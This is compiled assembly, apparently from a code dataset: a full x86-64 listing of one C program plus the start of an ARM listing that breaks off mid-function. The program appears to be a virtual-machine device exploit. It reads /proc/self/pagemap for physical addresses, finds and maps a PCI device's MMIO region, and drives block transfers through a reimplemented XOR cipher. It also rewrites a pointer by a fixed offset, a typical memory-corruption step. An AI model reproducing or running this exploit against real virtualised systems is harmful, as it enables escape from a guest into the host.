	.file	"401942.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"%02X "
.LC1:
	.string	"|  %s \n"
.LC2:
	.string	"   "
	.text
	.globl	dumphex
	.type	dumphex, @function
dumphex:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	QWORD PTR -56[rbp], rdi
	mov	QWORD PTR -64[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	BYTE PTR -16[rbp], 0
	mov	QWORD PTR -48[rbp], 0
	jmp	.L2
.L11:
	mov	rdx, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR -48[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	mov	esi, eax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rdx, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR -48[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	cmp	al, 31
	jbe	.L3
	mov	rdx, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR -48[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	cmp	al, 126
	ja	.L3
	mov	rdx, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR -48[rbp]
	add	rax, rdx
	movzx	edx, BYTE PTR [rax]
	mov	rax, QWORD PTR -48[rbp]
	and	eax, 15
	mov	BYTE PTR -32[rbp+rax], dl
	jmp	.L4
.L3:
	mov	rax, QWORD PTR -48[rbp]
	and	eax, 15
	mov	BYTE PTR -32[rbp+rax], 46
.L4:
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	and	eax, 7
	test	rax, rax
	je	.L5
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	cmp	QWORD PTR -64[rbp], rax
	jne	.L6
.L5:
	mov	edi, 32
	call	putchar@PLT
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	and	eax, 15
	test	rax, rax
	jne	.L7
	lea	rax, -32[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L6
.L7:
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	cmp	QWORD PTR -64[rbp], rax
	jne	.L6
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	and	eax, 15
	mov	BYTE PTR -32[rbp+rax], 0
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	and	eax, 15
	cmp	rax, 8
	ja	.L8
	mov	edi, 32
	call	putchar@PLT
.L8:
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 1
	and	eax, 15
	mov	QWORD PTR -40[rbp], rax
	jmp	.L9
.L10:
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	add	QWORD PTR -40[rbp], 1
.L9:
	cmp	QWORD PTR -40[rbp], 15
	jbe	.L10
	lea	rax, -32[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
.L6:
	add	QWORD PTR -48[rbp], 1
.L2:
	mov	rax, QWORD PTR -48[rbp]
	cmp	rax, QWORD PTR -64[rbp]
	jb	.L11
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L12
	call	__stack_chk_fail@PLT
.L12:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	dumphex, .-dumphex
	.globl	page_offset
	.type	page_offset, @function
page_offset:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	and	eax, 4095
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	page_offset, .-page_offset
	.globl	pagemap_fd
	.bss
	.align 4
	.type	pagemap_fd, @object
	.size	pagemap_fd, 4
pagemap_fd:
	.zero	4
	.text
	.globl	gva_to_gfn
	.type	gva_to_gfn, @function
gva_to_gfn:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -40[rbp]
	shr	rax, 9
	and	rax, -8
	mov	QWORD PTR -24[rbp], rax
	mov	rcx, QWORD PTR -24[rbp]
	mov	eax, DWORD PTR pagemap_fd[rip]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	lseek@PLT
	mov	eax, DWORD PTR pagemap_fd[rip]
	lea	rcx, -32[rbp]
	mov	edx, 8
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	rax, QWORD PTR -32[rbp]
	test	rax, rax
	js	.L16
	mov	rax, -1
	jmp	.L18
.L16:
	mov	rax, QWORD PTR -32[rbp]
	movabs	rdx, 36028797018963967
	and	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
.L18:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L19
	call	__stack_chk_fail@PLT
.L19:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	gva_to_gfn, .-gva_to_gfn
	.section	.rodata
.LC3:
	.string	"the_stack_data/401942.c"
.LC4:
	.string	"gfn != -1"
	.text
	.globl	gva_to_gpa
	.type	gva_to_gpa, @function
gva_to_gpa:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 40
	.cfi_offset 3, -24
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR -40[rbp]
	mov	rdi, rax
	call	gva_to_gfn
	mov	QWORD PTR -24[rbp], rax
	cmp	QWORD PTR -24[rbp], -1
	jne	.L21
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 72
	lea	rsi, .LC3[rip]
	lea	rdi, .LC4[rip]
	call	__assert_fail@PLT
.L21:
	mov	rax, QWORD PTR -24[rbp]
	sal	rax, 12
	mov	rbx, rax
	mov	rax, QWORD PTR -40[rbp]
	mov	edi, eax
	call	page_offset
	mov	eax, eax
	or	rax, rbx
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	gva_to_gpa, .-gva_to_gpa
	.globl	mmio_mem
	.bss
	.align 8
	.type	mmio_mem, @object
	.size	mmio_mem, 8
mmio_mem:
	.zero	8
	.text
	.globl	mmio_write
	.type	mmio_write, @function
mmio_write:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -8[rbp], rdi
	mov	QWORD PTR -16[rbp], rsi
	mov	rdx, QWORD PTR mmio_mem[rip]
	mov	rax, QWORD PTR -8[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -16[rbp]
	mov	QWORD PTR [rdx], rax
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	mmio_write, .-mmio_write
	.globl	mmio_read
	.type	mmio_read, @function
mmio_read:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -8[rbp], rdi
	mov	rdx, QWORD PTR mmio_mem[rip]
	mov	rax, QWORD PTR -8[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	mmio_read, .-mmio_read
	.globl	global_buf
	.bss
	.align 4096
	.type	global_buf, @object
	.size	global_buf, 4096
global_buf:
	.zero	4096
	.globl	global_buf_pa
	.align 8
	.type	global_buf_pa, @object
	.size	global_buf_pa, 8
global_buf_pa:
	.zero	8
	.text
	.globl	write_block
	.type	write_block, @function
write_block:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	QWORD PTR -16[rbp], rsi
	mov	rdx, QWORD PTR -16[rbp]
	lea	rax, global_buf[rip]
	mov	rsi, rdx
	mov	edx, 512
	mov	rdi, rax
	mov	rcx, rdx
	rep movsq
	mov	esi, 1
	mov	edi, 24
	call	mmio_write
	nop
.L27:
	mov	edi, 16
	call	mmio_read
	cmp	rax, 1
	jne	.L27
	mov	esi, 2
	mov	edi, 24
	call	mmio_write
	nop
.L28:
	mov	edi, 16
	call	mmio_read
	cmp	rax, 3
	jne	.L28
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	mov	rsi, rax
	mov	edi, 32
	call	mmio_write
	mov	rax, QWORD PTR global_buf_pa[rip]
	mov	rsi, rax
	mov	edi, 40
	call	mmio_write
	mov	esi, 19
	mov	edi, 24
	call	mmio_write
	nop
.L29:
	mov	edi, 16
	call	mmio_read
	cmp	rax, 20
	jne	.L29
	mov	esi, 1
	mov	edi, 24
	call	mmio_write
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	write_block, .-write_block
	.globl	read_block
	.type	read_block, @function
read_block:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	QWORD PTR -16[rbp], rsi
	mov	edx, 4096
	mov	esi, 0
	lea	rdi, global_buf[rip]
	call	memset@PLT
	mov	esi, 1
	mov	edi, 24
	call	mmio_write
	mov	esi, 2
	mov	edi, 24
	call	mmio_write
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	mov	rsi, rax
	mov	edi, 32
	call	mmio_write
	mov	rax, QWORD PTR global_buf_pa[rip]
	mov	rsi, rax
	mov	edi, 40
	call	mmio_write
	mov	esi, 35
	mov	edi, 24
	call	mmio_write
	nop
.L31:
	mov	edi, 16
	call	mmio_read
	cmp	rax, 20
	jne	.L31
	mov	rax, QWORD PTR -16[rbp]
	mov	rdx, rax
	lea	rax, global_buf[rip]
	mov	ecx, 4096
	mov	rsi, QWORD PTR [rax]
	mov	QWORD PTR [rdx], rsi
	mov	esi, ecx
	add	rsi, rdx
	lea	rdi, 8[rsi]
	mov	esi, ecx
	add	rsi, rax
	add	rsi, 8
	mov	rsi, QWORD PTR -16[rsi]
	mov	QWORD PTR -16[rdi], rsi
	lea	rdi, 8[rdx]
	and	rdi, -8
	sub	rdx, rdi
	sub	rax, rdx
	add	ecx, edx
	and	ecx, -8
	shr	ecx, 3
	mov	edx, ecx
	mov	edx, edx
	mov	rsi, rax
	mov	rcx, rdx
	rep movsq
	mov	esi, 1
	mov	edi, 24
	call	mmio_write
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	read_block, .-read_block
	.type	storage_internal_encrypt, @function
storage_internal_encrypt:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	QWORD PTR -56[rbp], rdi
	mov	QWORD PTR -64[rbp], rsi
	mov	DWORD PTR -68[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -40[rbp], 0
	jmp	.L33
.L36:
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	edx, eax
	mov	rax, QWORD PTR -64[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR -32[rbp], rax
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	eax, eax
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -64[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR -24[rbp], rax
	mov	DWORD PTR -36[rbp], 0
	jmp	.L34
.L35:
	mov	rax, QWORD PTR -24[rbp]
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
	sal	rax, 7
	mov	rdx, rax
	movabs	rax, -5172498273340516352
	xor	rdx, rax
	mov	rax, QWORD PTR -24[rbp]
	shr	rax, 57
	xor	rax, 57
	or	rdx, rax
	mov	rax, QWORD PTR -32[rbp]
	xor	rax, rdx
	mov	QWORD PTR -24[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	QWORD PTR -32[rbp], rax
	add	DWORD PTR -36[rbp], 1
.L34:
	cmp	DWORD PTR -36[rbp], 15
	jbe	.L35
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	edx, eax
	mov	rax, QWORD PTR -56[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -24[rbp]
	mov	QWORD PTR [rdx], rax
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	eax, eax
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -56[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -32[rbp]
	mov	QWORD PTR [rdx], rax
	add	DWORD PTR -40[rbp], 1
.L33:
	mov	eax, DWORD PTR -68[rbp]
	shr	eax, 4
	cmp	DWORD PTR -40[rbp], eax
	jb	.L36
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L37
	call	__stack_chk_fail@PLT
.L37:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	storage_internal_encrypt, .-storage_internal_encrypt
	.type	storage_internal_decrypt, @function
storage_internal_decrypt:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 80
	mov	QWORD PTR -56[rbp], rdi
	mov	QWORD PTR -64[rbp], rsi
	mov	DWORD PTR -68[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -40[rbp], 0
	jmp	.L39
.L42:
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	edx, eax
	mov	rax, QWORD PTR -64[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR -32[rbp], rax
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	eax, eax
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -64[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR -24[rbp], rax
	mov	DWORD PTR -36[rbp], 0
	jmp	.L40
.L41:
	mov	rax, QWORD PTR -24[rbp]
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
	sal	rax, 7
	mov	rdx, rax
	movabs	rax, -5172498273340516352
	xor	rdx, rax
	mov	rax, QWORD PTR -24[rbp]
	shr	rax, 57
	xor	rax, 57
	or	rdx, rax
	mov	rax, QWORD PTR -32[rbp]
	xor	rax, rdx
	mov	QWORD PTR -24[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	QWORD PTR -32[rbp], rax
	add	DWORD PTR -36[rbp], 1
.L40:
	cmp	DWORD PTR -36[rbp], 15
	jbe	.L41
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	edx, eax
	mov	rax, QWORD PTR -56[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -24[rbp]
	mov	QWORD PTR [rdx], rax
	mov	eax, DWORD PTR -40[rbp]
	sal	eax, 4
	mov	eax, eax
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -56[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -32[rbp]
	mov	QWORD PTR [rdx], rax
	add	DWORD PTR -40[rbp], 1
.L39:
	mov	eax, DWORD PTR -68[rbp]
	shr	eax, 4
	cmp	DWORD PTR -40[rbp], eax
	jb	.L42
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L43
	call	__stack_chk_fail@PLT
.L43:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	storage_internal_decrypt, .-storage_internal_decrypt
	.section	.rodata
.LC5:
	.string	"/proc/self/pagemap"
.LC6:
	.string	"open"
.LC7:
	.string	"0x7373"
.LC8:
	.string	"mmio_fd open failed"
.LC9:
	.string	"mmap mmio_mem failed"
.LC10:
	.string	"global_buf_pa: %lx\n"
.LC11:
	.string	"magic: %lx\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 112
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	esi, 0
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR pagemap_fd[rip], eax
	mov	eax, DWORD PTR pagemap_fd[rip]
	test	eax, eax
	jns	.L45
	lea	rdi, .LC6[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L45:
	movabs	rax, 8531335224086852399
	movabs	rdx, 7594036745778586473
	mov	QWORD PTR -8256[rbp], rax
	mov	QWORD PTR -8248[rbp], rdx
	movabs	rax, 3400270745139425328
	movabs	rdx, 4192904279556632624
	mov	QWORD PTR -8240[rbp], rax
	mov	QWORD PTR -8232[rbp], rdx
	movabs	rax, 8315177834006855472
	mov	QWORD PTR -8224[rbp], rax
	mov	DWORD PTR -8216[rbp], 1668445551
	mov	WORD PTR -8212[rbp], 12389
	mov	BYTE PTR -8210[rbp], 0
	mov	DWORD PTR -8292[rbp], 0
	jmp	.L46
.L51:
	movabs	rax, 8531335224086852399
	movabs	rdx, 7594036745778586473
	mov	QWORD PTR -4112[rbp], rax
	mov	QWORD PTR -4104[rbp], rdx
	movabs	rax, 3400270745139425328
	movabs	rdx, 4192904279556632624
	mov	QWORD PTR -4096[rbp], rax
	mov	QWORD PTR -4088[rbp], rdx
	movabs	rax, 8531335222957850416
	mov	QWORD PTR -4080[rbp], rax
	mov	DWORD PTR -4072[rbp], 6644585
	mov	eax, DWORD PTR -8292[rbp]
	add	eax, 48
	mov	BYTE PTR -4079[rbp], al
	lea	rax, -4112[rbp]
	mov	esi, 0
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -8288[rbp], eax
	cmp	DWORD PTR -8288[rbp], 0
	js	.L56
	lea	rcx, -8208[rbp]
	mov	eax, DWORD PTR -8288[rbp]
	mov	edx, 6
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	lea	rax, -8208[rbp]
	mov	edx, 6
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	call	memcmp@PLT
	test	eax, eax
	jne	.L49
	mov	eax, DWORD PTR -8292[rbp]
	add	eax, 48
	mov	BYTE PTR -8223[rbp], al
	jmp	.L50
.L49:
	add	DWORD PTR -8292[rbp], 1
.L46:
	cmp	DWORD PTR -8292[rbp], 9
	jle	.L51
	jmp	.L50
.L56:
	nop
.L50:
	lea	rax, -8256[rbp]
	mov	rdi, rax
	call	puts@PLT
	lea	rax, -8256[rbp]
	mov	esi, 1052674
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -8284[rbp], eax
	cmp	DWORD PTR -8284[rbp], -1
	jne	.L52
	lea	rdi, .LC8[rip]
	call	puts@PLT
.L52:
	mov	eax, DWORD PTR -8284[rbp]
	mov	r9d, 0
	mov	r8d, eax
	mov	ecx, 1
	mov	edx, 3
	mov	esi, 4096
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR mmio_mem[rip], rax
	mov	rax, QWORD PTR mmio_mem[rip]
	cmp	rax, -1
	jne	.L53
	lea	rdi, .LC9[rip]
	call	puts@PLT
.L53:
	mov	BYTE PTR global_buf[rip], 0
	lea	rdi, global_buf[rip]
	call	gva_to_gpa
	mov	QWORD PTR global_buf_pa[rip], rax
	mov	rax, QWORD PTR global_buf_pa[rip]
	mov	rsi, rax
	lea	rdi, .LC10[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 0
	call	mmio_read
	mov	rsi, rax
	lea	rdi, .LC11[rip]
	mov	eax, 0
	call	printf@PLT
	movabs	rax, 4260524412117218156
	movabs	rdx, 7020098208741286688
	mov	QWORD PTR -8208[rbp], rax
	mov	QWORD PTR -8200[rbp], rdx
	movabs	rax, 2322485717448797799
	movabs	rdx, 2335243054344659503
	mov	QWORD PTR -8192[rbp], rax
	mov	QWORD PTR -8184[rbp], rdx
	mov	QWORD PTR -8176[rbp], 26925
	mov	QWORD PTR -8168[rbp], 0
	lea	rdx, -8160[rbp]
	mov	eax, 0
	mov	ecx, 506
	mov	rdi, rdx
	rep stosq
	lea	rcx, -8208[rbp]
	lea	rax, -8208[rbp]
	mov	edx, 4096
	mov	rsi, rcx
	mov	rdi, rax
	call	storage_internal_decrypt
	lea	rax, -8208[rbp]
	mov	rsi, rax
	mov	edi, 0
	call	write_block
	mov	QWORD PTR -4112[rbp], 0
	mov	QWORD PTR -4104[rbp], 0
	lea	rdx, -4096[rbp]
	mov	eax, 0
	mov	ecx, 510
	mov	rdi, rdx
	rep stosq
	lea	rax, -4112[rbp]
	mov	rsi, rax
	mov	edi, 256
	call	read_block
	lea	rcx, -4112[rbp]
	lea	rax, -4112[rbp]
	mov	edx, 4096
	mov	rsi, rcx
	mov	rdi, rax
	call	storage_internal_decrypt
	lea	rax, -4112[rbp]
	mov	esi, 32
	mov	rdi, rax
	call	dumphex
	lea	rax, -4112[rbp]
	mov	QWORD PTR -8280[rbp], rax
	mov	QWORD PTR -8272[rbp], 2855680
	mov	QWORD PTR -8264[rbp], 5179616
	mov	rax, QWORD PTR -8280[rbp]
	add	rax, 8
	mov	rcx, QWORD PTR [rax]
	mov	rax, QWORD PTR -8272[rbp]
	sub	rax, QWORD PTR -8264[rbp]
	mov	rdx, rax
	mov	rax, QWORD PTR -8280[rbp]
	add	rax, 8
	add	rdx, rcx
	mov	QWORD PTR [rax], rdx
	lea	rcx, -4112[rbp]
	lea	rax, -4112[rbp]
	mov	edx, 4096
	mov	rsi, rcx
	mov	rdi, rax
	call	storage_internal_encrypt
	lea	rax, -4112[rbp]
	mov	rsi, rax
	mov	edi, 256
	call	write_block
	lea	rax, -4112[rbp]
	mov	rsi, rax
	mov	edi, 256
	call	read_block
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L55
	call	__stack_chk_fail@PLT
.L55:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE16:
	.size	main, .-main
	.section	.rodata
	.align 8
	.type	__PRETTY_FUNCTION__.0, @object
	.size	__PRETTY_FUNCTION__.0, 11
__PRETTY_FUNCTION__.0:
	.string	"gva_to_gpa"
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"401942.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"%02X \000"
	.align	2
.LC1:
	.ascii	"|  %s \012\000"
	.align	2
.LC2:
	.ascii	"   \000"
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	dumphex
	.syntax unified
	.arm
	.fpu softvfp
	.type	dumphex, %function
dumphex:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-40]
	str	r1, [fp, #-44]
	ldr	r3, .L13
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	strb	r3, [fp, #-12]
	mov	r3, #0
	str	r3, [fp, #-36]
	b	.L2
.L11:
	ldr	r2, [fp, #-40]
	ldr	r3, [fp, #-36]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, .L13+4
	bl	printf
	ldr	r2, [fp, #-40]
	ldr	r3, [fp, #-36]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #31
	bls	.L3
	ldr	r2, [fp, #-40]
	ldr	r3, [fp, #-36]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #126
	bhi	.L3
	ldr	r2, [fp, #-40]
	ldr	r3, [fp, #-36]
	add	r2, r2, r3
	ldr	r3, [fp, #-36]
	and	r3, r3, #15
	ldrb	r2, [r2]	@ zero_extendqisi2
	sub	r1, fp, #4
	add	r3, r1, r3
	strb	r2, [r3, #-24]
	b	.L4
.L3:
	ldr	r3, [fp, #-36]
	and	r3, r3, #15
	sub	r2, fp, #4
	add	r3, r2, r3
	mov	r2, #46
	strb	r2, [r3, #-24]
.L4:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	and	r3, r3, #7
	cmp	r3, #0
	beq	.L5
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	ldr	r2, [fp, #-44]
	cmp	r2, r3
	bne	.L6
.L5:
	mov	r0, #32
	bl	putchar
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	and	r3, r3, #15
	cmp	r3, #0
	bne	.L7
	sub	r3, fp, #28
	mov	r1, r3
	ldr	r0, .L13+8
	bl	printf
	b	.L6
.L7:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	ldr	r2, [fp, #-44]
	cmp	r2, r3
	bne	.L6
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	and	r3, r3, #15
	sub	r2, fp, #4
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #-24]
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	and	r3, r3, #15
	cmp	r3, #8
	bhi	.L8
	mov	r0, #32
	bl	putchar
.L8:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	and	r3, r3, #15
	str	r3, [fp, #-32]
	b	.L9
.L10:
	ldr	r0, .L13+12
	bl	printf
	ldr	r3, [fp, #-32]
	add	r3, r3, #1
	str	r3, [fp, #-32]
.L9:
	ldr	r3, [fp, #-32]
	cmp	r3, #15
	bls	.L10
	sub	r3, fp, #28
	mov	r1, r3
	ldr	r0, .L13+8
	bl	printf
.L6:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
.L2:
	ldr	r2, [fp, #-36]
	ldr	r3, [fp, #-44]
	cmp	r2, r3
	bcc	.L11
	nop
	ldr	r3, .L13
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L12
	bl	__stack_chk_fail
.L12:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L14:
	.align	2
.L13:
	.word	.LC3
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.size	dumphex, .-dumphex
	.align	2
	.global	page_offset
	.syntax unified
	.arm
	.fpu softvfp
	.type	page_offset, %function
page_offset:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #12
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	lsl	r3, r3, #20
	lsr	r3, r3, #20
	mov	r0, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	page_offset, .-page_offset
	.comm	pagemap_fd,4,4
	.section	.rodata
	.align	2
.LC4:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	gva_to_gfn
	.syntax unified
	.arm
	.fpu softvfp
	.type	gva_to_gfn, %function
gva_to_gfn:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	sub	sp, sp, #40
	str	r0, [fp, #-48]
	ldr	r3, .L22
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r3, [fp, #-48]
	lsr	r3, r3, #9
	bic	r3, r3, #7
	str	r3, [fp, #-40]
